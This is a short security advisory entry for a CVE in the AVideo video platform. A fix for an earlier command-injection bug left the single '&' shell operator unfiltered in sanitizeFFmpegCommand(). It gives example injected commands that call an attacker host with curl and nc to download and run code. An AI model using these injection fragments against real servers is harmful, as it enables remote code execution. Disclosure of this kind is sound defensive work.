CVE-2026-55173 – AVideo incomplete fix for CVE-2026-33482: sanitizeFFmpegCommand still allows a single ‘&’ (background operator), giving OS command execution at the same execAsync sh -c sink

CVE ID :CVE-2026-55173

Published : July 16, 2026, 9:17 p.m. | 17 minutes ago

Description :WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(…) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, n, r to the denylist character class and a str_replace(‘&&’, ”, …), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput(‘codeToExecEncrypted’)). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/…, & nc …, dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

Severity: 8.1 | HIGH

Visit the link for more details, such as CVSS details, affected products, timeline, and more…